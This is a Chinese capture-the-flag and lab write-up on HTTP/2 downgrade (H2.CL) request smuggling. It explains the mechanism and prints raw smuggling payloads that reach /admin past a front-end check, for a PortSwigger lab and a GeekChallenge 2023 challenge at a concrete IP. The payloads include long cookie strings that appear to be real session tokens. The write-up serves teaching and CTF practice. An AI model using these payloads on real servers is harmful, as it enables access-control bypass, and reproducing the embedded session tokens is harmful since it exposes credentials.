CTF题型 Http2降级走私原理分析例题分享

news2025/2/26 14:35:04

CTF题型 Http2降级走私原理分析&例题分享

文章目录

  • CTF题型 Http2降级走私原理分析&例题分享
    • HTTP/2请求走私的产生
      • 回顾一下Http请求走私原理
      • Http2请求的消息划分
      • 实际生产环境的限制
      • 如何利用
        • H2.CL
    • 实验环境准备
    • 例题分析
      • H2.CL请求走私
      • [GeekChanllenge 2023 Ez_Smuggling]

请先学习Http请求走私原理作为前置知识

https://blog.csdn.net/qq_39947980/article/details/136821139

HTTP/2请求走私的产生

回顾一下Http请求走私原理

请求走私本质上是利用不同服务器对请求长度头部（Content-Length）解析时产生的差异

Http2请求的消息划分

HTTP/2消息为一系列独立的通过网络发送的“帧”。每一帧前面都有一个明确的长度字段，告诉服务器要读入多少字节。因此，请求的长度是其帧长度的总和。
理论上由于以上因素被认为使其天生不受请求走私的影响。（二进制帧）

但在实际使用时，由于广泛但危险的HTTP/2降级做法，情况往往并非如此

实际生产环境的限制

由于HTTP/2相对较新，支持它的Web服务器必须与仅使用HTTP/1的传统后端进行通信。因此，前端服务器使用HTTP/1语法重写每个传入的HTTP/2请求已成为一种常见做法。然后，该“降级”请求被转发到相关的后端服务器。

image-20240318233033264

降级做法 极其常见是 许多流行的反向代理服务的默认行为

由于HTTP2不是特别成熟，一般支持HTTP2的web服务器仍然会与只支持HTTP1的后端基础设施进行通信。
所以尽管前端服务器与客户端使用HTTP2，在将请求转发到后端时将请求重写为HTTP1。当只支持HTTP1的后端发出 响应时，前端会把它重写为HTTP2返回给客户端。

如何利用

降级过程涉及到 http2---->http1.1重写，重写后造成歧义

H2.CL

在降级期间，前端服务器通常会加入一个HTTP1中的请求头Content-Length，它的大小根据HTTP2内置长度机制来获取。

但是如果在降级前HTTP2请求中就已经有了Content-Length，那么该字段在Http2MultiplexHandler向上传播时不会被验证，它在重写HTTP2的时候直接利用。

因此与HTTP1中的TE.CL一样，我们可以利用Content-Length来误导前端服务器，固定请求结束的位置。从而进行走私。

就跟Http请求走私差不多（前端都要）

无非 我们这次仅关注后端 的 解析类型，然后想办法进行"缓存"

但是实际操作有许多细节问题

实验环境准备

image-20240319091450752

关闭自动更新长度

打开Http2 重载

image-20240319091926066

协议改为HTTP/2

例题分析

H2.CL请求走私

实验环境：https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-cl-request-smuggling

image-20240319093529553

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

POST /exploit HTTP/1.1
Host: exploit-0a0f00a304f12eda80540c60018400c1.exploit-server.net
Content-Length: 5

x=1

我希望大家注意这

Content-Length: 5

x=1
[我是换行]

为什么加换行？

原因： Http消息头 的结束用 trailer 签名 代表消息的结束

明明是3个字符为什么是5？（和上篇文章的TE-CL例题类似）

因为需要把下一个数据包进来的请求头给挤掉，不然后端会认为是两个请求

只要比它原本长度大就可以了

可以是 5,6,7,8,9…（最好大一点点）

image-20240319163516146

多尝试几次，成功触发302重定向（有点奇怪，必须访问/resources才可触发http2降级，怀疑是靶场问题）

非常玄学 多尝试几次

image-20240319163317125

[GeekChanllenge 2023 Ez_Smuggling]

和上题思路基本一模一样 暗示用Http2做了一个代理服务器

image-20240319133929852

image-20240319131445546

我们需要先注册一个账号

image-20240319133742267

有题目暗示可得 前端服务器做了验证

尝试Http2降级走私 绕过前端服务器限制

Http2-CL 截断 缓存进行走私

因为这里是登录后进入blog 需要携带Cookie

构造payload

GET / HTTP/2
Host: 23.94.38.86:9500
Cookie: daabb154c8599c7bc986980b51a1112e_ssl=5eacd496-1186-47e1-ae90-372cff2e142d.ADUWPhFE0c3m6ASGxnWuBwx6iY4; order=id%20desc; serverType=nginx; sites_path=/www/wwwroot; site_model=php; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22181****6657%22%7D%7D; pro_end=-1; ltd_end=-1; crontab_model=crontab; distribution=ubuntu; force=0; soft_remarks=%7B%22list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%225%u5206%u949F%u6781%u901F%u54CD%u5E94%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%2230+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2220+%u4F01%u4E1A%u7248%u4E13%u4EAB%u529F%u80FD%22%2C%221000%u6761%u514D%u8D39%u77ED%u4FE1%uFF08%u5E74%u4ED8%uFF09%22%2C%222%u5F20SSL%u5546%u7528%u8BC1%u4E66%uFF08%u5E74%u4ED8%uFF09%22%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%uFF08%u5E74%u4ED8%uFF09%22%5D%2C%22pro_list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5E94%22%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%5D%2C%22kfqq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%2C%22qun%22%3A%22%22%2C%22activity_list%22%3A%5B%22%3Cspan%20style%3D%5C%22color%3A%23D98704%3Bpadding-right%3A10px%5C%22%3E618%u7279%u60E0%u6D3B%u52A8%uFF0C6%u67089%u65E5-%206%u670818%u65E5%uFF0C%u6700%u9AD8%u51CF15000%u5143%3C/span%3E%3Ca%20style%3D%5C%22text-decoration%3Anone%3B%5C%22%20href%3D%5C%22https%3A//www.bt.cn/618%5C%22%20rel%3D%5C%22noreferrer%5C%22%20%20target%3D%5C%22_blank%5C%22%20class%3D%5C%22btlink%5C%22%3E%u70B9%u51FB%u7ACB%u5373%u67E5%u770B%3E%3E%3C/a%3E%22%5D%2C%22kf_list%22%3A%5B%7B%22qq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%7D%2C%7B%22qq%22%3A%222927440070%22%2C%22kf%22%3A%22http%3A//wpa.qq.com/msgrd%3Fv%3D3%26uin%3D2927440070%26site%3Dqq%26menu%3Dyes%26from%3Dmessage%26isappinstalled%3D0%22%7D%5D%2C%22wx_list%22%3A%5B%7B%22ps%22%3A%22%u5728%u7EBF%u5BA2%u670D%22%2C%22kf%22%3A%22https%3A//www.bt.cn/new/wechat_customer%22%7D%5D%2C%22vips_list%22%3A%7B%22%u591A%u5BF9%u4E00%u6280%u672F%u652F%u6301%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A0%2C%22vltd%22%3A1%7D%2C%22%u5168%u5E745%u6B21%u5B89%u5168%u6392%u67E5%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A0%2C%22vltd%22%3A1%7D%2C%225%u5206%u949F%u6025%u901F%u54CD%u5E94%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2230+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2220+%u4F01%u4E1A%u7248%u4E13%u4EAB%u529F%u80FD%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%221000%u6761%u514D%u8D39%u77ED%u4FE1%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%222%u5F20SSL%u5546%u7528%u8BC1%u4E66%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22WAF%u9632%u706B%u5899%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u66F4%u6362%u6388%u6743IP%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5E94%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%7D%7D; pnull=1; p5=1; p6=1; p13=1; p7=1; p8=1; p12=1; p10=1; p-1=1; is_install=true; commandInputViewUUID=cs6izRF7Z43t4nL; rank=list; file_recycle_status=true; load_page=1; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; p0=1; db_page_model=mysql; backup_path=/www/backup; site_type=0; load_search=undefined; softType=-1; load_type=-1; Path=/var/lib/docker/overlay2/cd3f019a4ba89a8844ba3e023e02f8807c0e0924ee78418512415ec686aabaa0/merged; 092ca415a3d9a29ab5e6f05cf346468f_ssl=a3291ea8-1e53-4c71-95f1-df1f40b0efce.URfOxwUUe6bSrkOmb1rHZJRJkA4; lastScanTime=2024/03/15%2009%3A56%3A08; session=MTcxMDgzNDYzNXx6dU1mdEhmZUZNZkNzSkllSzM4bUpvTUVVY0kxRW9tUGxZV1h1MDBkR0ZJcFNyUk5rV0cxV201dWM1Sm13MWJhOE1HbDNTc0Q0X09Yb1ZJaFlnQ3pHV21nWmxZWTJ4N098emO-rzB0e90DUmDq5-LIW_FfWulAxrcGA995iS0T1Lc=
Content-Length: 0

POST /admin HTTP/1.1
Cookie: daabb154c8599c7bc986980b51a1112e_ssl=5eacd496-1186-47e1-ae90-372cff2e142d.ADUWPhFE0c3m6ASGxnWuBwx6iY4; order=id%20desc; serverType=nginx; sites_path=/www/wwwroot; site_model=php; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22181****6657%22%7D%7D; pro_end=-1; ltd_end=-1; crontab_model=crontab; distribution=ubuntu; force=0; soft_remarks=%7B%22list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%225%u5206%u949F%u6781%u901F%u54CD%u5E94%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%2230+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2220+%u4F01%u4E1A%u7248%u4E13%u4EAB%u529F%u80FD%22%2C%221000%u6761%u514D%u8D39%u77ED%u4FE1%uFF08%u5E74%u4ED8%uFF09%22%2C%222%u5F20SSL%u5546%u7528%u8BC1%u4E66%uFF08%u5E74%u4ED8%uFF09%22%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%uFF08%u5E74%u4ED8%uFF09%22%5D%2C%22pro_list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5E94%22%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%5D%2C%22kfqq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%2C%22qun%22%3A%22%22%2C%22activity_list%22%3A%5B%22%3Cspan%20style%3D%5C%22color%3A%23D98704%3Bpadding-right%3A10px%5C%22%3E618%u7279%u60E0%u6D3B%u52A8%uFF0C6%u67089%u65E5-%206%u670818%u65E5%uFF0C%u6700%u9AD8%u51CF15000%u5143%3C/span%3E%3Ca%20style%3D%5C%22text-decoration%3Anone%3B%5C%22%20href%3D%5C%22https%3A//www.bt.cn/618%5C%22%20rel%3D%5C%22noreferrer%5C%22%20%20target%3D%5C%22_blank%5C%22%20class%3D%5C%22btlink%5C%22%3E%u70B9%u51FB%u7ACB%u5373%u67E5%u770B%3E%3E%3C/a%3E%22%5D%2C%22kf_list%22%3A%5B%7B%22qq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%7D%2C%7B%22qq%22%3A%222927440070%22%2C%22kf%22%3A%22http%3A//wpa.qq.com/msgrd%3Fv%3D3%26uin%3D2927440070%26site%3Dqq%26menu%3Dyes%26from%3Dmessage%26isappinstalled%3D0%22%7D%5D%2C%22wx_list%22%3A%5B%7B%22ps%22%3A%22%u5728%u7EBF%u5BA2%u670D%22%2C%22kf%22%3A%22https%3A//www.bt.cn/new/wechat_customer%22%7D%5D%2C%22vips_list%22%3A%7B%22%u591A%u5BF9%u4E00%u6280%u672F%u652F%u6301%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A0%2C%22vltd%22%3A1%7D%2C%22%u5168%u5E745%u6B21%u5B89%u5168%u6392%u67E5%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A0%2C%22vltd%22%3A1%7D%2C%225%u5206%u949F%u6025%u901F%u54CD%u5E94%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2230+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2220+%u4F01%u4E1A%u7248%u4E13%u4EAB%u529F%u80FD%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%221000%u6761%u514D%u8D39%u77ED%u4FE1%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%222%u5F20SSL%u5546%u7528%u8BC1%u4E66%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22WAF%u9632%u706B%u5899%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u66F4%u6362%u6388%u6743IP%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5E94%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%7D%7D; pnull=1; p5=1; p6=1; p13=1; p7=1; p8=1; p12=1; p10=1; p-1=1; is_install=true; commandInputViewUUID=cs6izRF7Z43t4nL; rank=list; file_recycle_status=true; load_page=1; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; p0=1; db_page_model=mysql; backup_path=/www/backup; site_type=0; load_search=undefined; softType=-1; load_type=-1; Path=/var/lib/docker/overlay2/cd3f019a4ba89a8844ba3e023e02f8807c0e0924ee78418512415ec686aabaa0/merged; 092ca415a3d9a29ab5e6f05cf346468f_ssl=a3291ea8-1e53-4c71-95f1-df1f40b0efce.URfOxwUUe6bSrkOmb1rHZJRJkA4; lastScanTime=2024/03/15%2009%3A56%3A08; session=MTcxMDgzNDYzNXx6dU1mdEhmZUZNZkNzSkllSzM4bUpvTUVVY0kxRW9tUGxZV1h1MDBkR0ZJcFNyUk5rV0cxV201dWM1Sm13MWJhOE1HbDNTc0Q0X09Yb1ZJaFlnQ3pHV21nWmxZWTJ4N098emO-rzB0e90DUmDq5-LIW_FfWulAxrcGA995iS0T1Lc=
Content-Length: 5

x=1
[我是换行] //原因：终止块后是一个 trailer，由 0 或多个实体头组成，可以用来存放对数据的数字签名等

image-20240319155445339

成功进行Http2降级走私

换一种方式 用GET方法

Content-Length: 0

GET /admin HTTP/1.1
Cookie: daabb154c8599c7bc986980b51a1112e_ssl=5eacd496-1186-47e1-ae90-372cff2e142d.ADUWPhFE0c3m6ASGxnWuBwx6iY4; order=id%20desc; serverType=nginx; sites_path=/www/wwwroot; site_model=php; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22181****6657%22%7D%7D; pro_end=-1; ltd_end=-1; crontab_model=crontab; distribution=ubuntu; force=0; soft_remarks=%7B%22list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%225%u5206%u949F%u6781%u901F%u54CD%u5E94%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%2230+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2220+%u4F01%u4E1A%u7248%u4E13%u4EAB%u529F%u80FD%22%2C%221000%u6761%u514D%u8D39%u77ED%u4FE1%uFF08%u5E74%u4ED8%uFF09%22%2C%222%u5F20SSL%u5546%u7528%u8BC1%u4E66%uFF08%u5E74%u4ED8%uFF09%22%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%uFF08%u5E74%u4ED8%uFF09%22%5D%2C%22pro_list%22%3A%5B%22%u66F4%u6362%u6388%u6743IP%22%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5E94%22%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%2C%22%u5546%u7528%u9632%u706B%u5899%u6388%u6743%22%5D%2C%22kfqq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%2C%22qun%22%3A%22%22%2C%22activity_list%22%3A%5B%22%3Cspan%20style%3D%5C%22color%3A%23D98704%3Bpadding-right%3A10px%5C%22%3E618%u7279%u60E0%u6D3B%u52A8%uFF0C6%u67089%u65E5-%206%u670818%u65E5%uFF0C%u6700%u9AD8%u51CF15000%u5143%3C/span%3E%3Ca%20style%3D%5C%22text-decoration%3Anone%3B%5C%22%20href%3D%5C%22https%3A//www.bt.cn/618%5C%22%20rel%3D%5C%22noreferrer%5C%22%20%20target%3D%5C%22_blank%5C%22%20class%3D%5C%22btlink%5C%22%3E%u70B9%u51FB%u7ACB%u5373%u67E5%u770B%3E%3E%3C/a%3E%22%5D%2C%22kf_list%22%3A%5B%7B%22qq%22%3A%223007255432%22%2C%22kf%22%3A%22http%3A//q.url.cn/CDfQPS%3F_type%3Dwpa%26qidian%3Dtrue%22%7D%2C%7B%22qq%22%3A%222927440070%22%2C%22kf%22%3A%22http%3A//wpa.qq.com/msgrd%3Fv%3D3%26uin%3D2927440070%26site%3Dqq%26menu%3Dyes%26from%3Dmessage%26isappinstalled%3D0%22%7D%5D%2C%22wx_list%22%3A%5B%7B%22ps%22%3A%22%u5728%u7EBF%u5BA2%u670D%22%2C%22kf%22%3A%22https%3A//www.bt.cn/new/wechat_customer%22%7D%5D%2C%22vips_list%22%3A%7B%22%u591A%u5BF9%u4E00%u6280%u672F%u652F%u6301%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A0%2C%22vltd%22%3A1%7D%2C%22%u5168%u5E745%u6B21%u5B89%u5168%u6392%u67E5%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A0%2C%22vltd%22%3A1%7D%2C%225%u5206%u949F%u6025%u901F%u54CD%u5E94%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2230+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2220+%u4F01%u4E1A%u7248%u4E13%u4EAB%u529F%u80FD%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%221000%u6761%u514D%u8D39%u77ED%u4FE1%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%222%u5F20SSL%u5546%u7528%u8BC1%u4E66%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u4E13%u4EAB%u4F01%u4E1A%u670D%u52A1%u7FA4%28%u5E74%u4ED8%29%22%3A%7B%22pro%22%3A0%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22WAF%u9632%u706B%u5899%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u66F4%u6362%u6388%u6743IP%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%22%u5BA2%u670D%u4F18%u5148%u54CD%u5E94%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2215+%u6B3E%u4ED8%u8D39%u63D2%u4EF6%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%2C%2215%u5929%u65E0%u7406%u7531%u9000%u6B3E%22%3A%7B%22pro%22%3A1%2C%22ltd%22%3A1%2C%22vltd%22%3A1%7D%7D%7D; pnull=1; p5=1; p6=1; p13=1; p7=1; p8=1; p12=1; p10=1; p-1=1; is_install=true; commandInputViewUUID=cs6izRF7Z43t4nL; rank=list; file_recycle_status=true; load_page=1; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; p0=1; db_page_model=mysql; backup_path=/www/backup; site_type=0; load_search=undefined; softType=-1; load_type=-1; Path=/var/lib/docker/overlay2/cd3f019a4ba89a8844ba3e023e02f8807c0e0924ee78418512415ec686aabaa0/merged; 092ca415a3d9a29ab5e6f05cf346468f_ssl=a3291ea8-1e53-4c71-95f1-df1f40b0efce.URfOxwUUe6bSrkOmb1rHZJRJkA4; lastScanTime=2024/03/15%2009%3A56%3A08; session=MTcxMDgzNDYzNXx6dU1mdEhmZUZNZkNzSkllSzM4bUpvTUVVY0kxRW9tUGxZV1h1MDBkR0ZJcFNyUk5rV0cxV201dWM1Sm13MWJhOE1HbDNTc0Q0X09Yb1ZJaFlnQ3pHV21nWmxZWTJ4N098emO-rzB0e90DUmDq5-LIW_FfWulAxrcGA995iS0T1Lc=
[我是换行]  //消息头和数据体 必须的结构
[我是换行]  //代表 消息的结束 终止块后是一个 trailer，由 0 或多个实体头组成，可以用来存放对数据的数字签名等

image-20240319160949490

同样可以拿到flag

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1528699.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

http协议的历史与基本概念

http协议的历史与基本概念

文章目录 历史和发展起源：HTTP/0.9（1991年）：HTTP/1.0（1996年，RFC 1945）：HTTP/1.1（1997年，RFC 2068；1999年更新为RFC 2616）&#xff1a…
阅读更多...
【动态规划】【 数位dp】2827. 范围中美丽整数的数目

【动态规划】【 数位dp】2827. 范围中美丽整数的数目

本文涉及知识点 数位dp 动态规划汇总 LeetCode2827. 范围中美丽整数的数目 给你正整数 low ，high 和 k 。 如果一个数满足以下两个条件，那么它是 美丽的 ： 偶数数位的数目与奇数数位的数目相同。 这个整数可以被 k 整除。 请你返回范围 [l…
阅读更多...
写作之路：寻找动力与认可的探索

写作之路：寻找动力与认可的探索

✍️作者简介：小北编程（专注于HarmonyOS、Android、Java、Web、TCP/IP等技术方向） 🐳博客主页： 开源中国、稀土掘金、51cto博客、博客园、知乎、简书、慕课网、CSDN 🔔如果文章对您些帮助请👉关…
阅读更多...
Android14音频进阶：AudioFlinger究竟如何混音？(六十三)

Android14音频进阶：AudioFlinger究竟如何混音？(六十三)

简介： CSDN博客专家，专注Android/Linux系统，分享多mic语音方案、音视频、编解码等技术，与大家一起成长！ 优质专栏：Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏：多媒体系统工程师系列【原创干货持续更新中……】🚀 人生格言： 人生从来没有捷径，只…
阅读更多...
R语言中的常用基础绘图函数 直方图，箱线图，条形图，散点图

R语言中的常用基础绘图函数 直方图，箱线图，条形图，散点图

目录 R语言中的绘图参数 绘图函数 1.plot函数绘制散点图 2.hist函数绘制直方图 如何修饰直方图? 如何在直方图上标注各组频数？ 使用text函数把某些信息标注在直方图上 如何在直方图上添加概率密度曲线？ 3.boxplot函数绘制箱线图 4.barplot函数…
阅读更多...
实现安卓连接阿里云物联网平台(2)

实现安卓连接阿里云物联网平台(2)

完整工程链接 链接：https://pan.baidu.com/s/1ykcJHPBSKBXVMaMWKoVRvA?pwd8888 提取码：8888 （1）创建一个新工程 （2）添加mqtt包的依赖 implementation org.eclipse.paho:org.eclipse.paho.client.mqttv…
阅读更多...
C语言技能数（知识点汇总）

C语言技能数（知识点汇总）

C语言技能数（知识点汇总） C 语言概述特点不足之处 标准编程机制 数据类型变量数据类型字符类型整数类型符号位二进制的原码、反码和补码 浮点类型布尔类型 常量字面常量const 修饰的常变量#define定义的标识符常量枚举常量 sizeofsizeof(结构体)不要对 v…
阅读更多...
代码随想录训练营Day26:● 93.复原IP地址 ● 78.子集 ● 90.子集II

代码随想录训练营Day26:● 93.复原IP地址 ● 78.子集 ● 90.子集II

93.复原IP地址 题目链接 https://leetcode.cn/problems/restore-ip-addresses/description/ 题目描述 思路 class Solution {List<String> list new ArrayList<>();public List<String> restoreIpAddresses(String s) {if(s.length()>12) return list…
阅读更多...
并联谐振回路

并联谐振回路

并联谐振回路概述 串联谐振回路适用于低内阻电源(理想电压源)。而对于大内阻电源&#xff0c;则适合采用并联谐振回路。 并联谐振回路&#xff1a;指电感线圈L、电容器C和外加信号源相互并联的振荡回路。同样&#xff0c;由于电容器C的损耗很小&#xff0c;可以认为损耗电阻集…
阅读更多...
JavaScript中a++和++a的区别是什么？

JavaScript中a++和++a的区别是什么？

在JS中&#xff0c;a 和 a 都是对变量 a进行自增操作&#xff0c;但是他们在执行的行为和结果上有些不同&#xff1a; a (前缀自增)&#xff1a; 首先是将a的值增加1&#xff0c;然后返回 a 增加后的值。这意味着&#xff0c;表达式的其余部分使用 a的时候&#xff0c; a 的值…
阅读更多...
【办公类-22-15】周计划系列（5-6）“周计划-06 周计划打印pdf（docx删除内容转PDF）“ （2024年调整版本）

【办公类-22-15】周计划系列（5-6）“周计划-06 周计划打印pdf（docx删除内容转PDF）“ （2024年调整版本）

作品展示 背景需求&#xff1a; 前期用docx&#xff08;删除第一页反思部分内容&#xff09;转PDF转png&#xff08;第一页&#xff09;的方式获得上传网页用的图片。 【办公类-22-14】周计划系列&#xff08;5-5&#xff09;“周计划-05 上传周计划png&#xff08;docx转PDF…
阅读更多...
KTV点歌系统|基于JSP技术+ Mysql+Java+ B/S结构的KTV点歌系统设计与实现(可运行源码+数据库+设计文档)

KTV点歌系统|基于JSP技术+ Mysql+Java+ B/S结构的KTV点歌系统设计与实现(可运行源码+数据库+设计文档)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含java&#xff0c;ssm&#xff0c;springboot的平台设计与实现项目系统开发资源&#xff08;可…
阅读更多...
议题揭晓 | 3月23日武汉 Linux 用户组线下沙龙邀您参与！

议题揭晓 | 3月23日武汉 Linux 用户组线下沙龙邀您参与！

内容来源&#xff1a;deepin 社区 WHLUG&#xff08;武汉Linux用户组&#xff09;线下沙龙将于 2024 年 3 月 23 日下午举办&#xff0c; 欢迎大家来到现场&#xff0c;一起交流最新产品动态与前沿技术&#xff0c;聆听社区成员的共建经验与收获。 本次活动由 deepin&#xff…
阅读更多...
发票OCR-国税可进行的发票查验种类-接口文档

发票OCR-国税可进行的发票查验种类-接口文档

发票查验内容包括发票种类名称、发票代码、发票号码、金额、销售方名称、购买方名称等信息。可以在国家税务总局全国增值税发票查验平台上进行查验&#xff0c;也可以进入发票所属省、直辖市税务局官方网站的“我要查询-发票查询”模块进行查验&#xff0c;企业也可以通过发…
阅读更多...
python基础——字符串的常见操作方法【下标索引，index，count，len，replace，split，strip】

python基础——字符串的常见操作方法【下标索引，index，count，len，replace，split，strip】

&#x1f4dd;前言&#xff1a; 字符串是一种有序的&#xff0c;允许重复字符串存在的&#xff0c;不可修改的序列 这篇文章主要总结一下python中有关字符串的部分相关知识&#xff0c;以及字符串的常见操作方法&#xff1a; 1&#xff0c;和其他序列极其类似的操作方法 2&…
阅读更多...
遥感深度学习：CNN-LSTM模型用于NDVI的预测(Pytorch代码深度剖析)

遥感深度学习：CNN-LSTM模型用于NDVI的预测(Pytorch代码深度剖析)

代码上传至Github库&#xff1a;https://github.com/ChaoQiezi/CNN-LSTM-model-is-used-to-predict-NDVI 01 前言 这是一次完整的关于时空遥感影像预测相关的深度学习项目&#xff0c;后续有时间更新后续部分。 通过这次项目&#xff0c;你可以了解&#xff1a; pytroch的模…
阅读更多...
java算法题每日多道
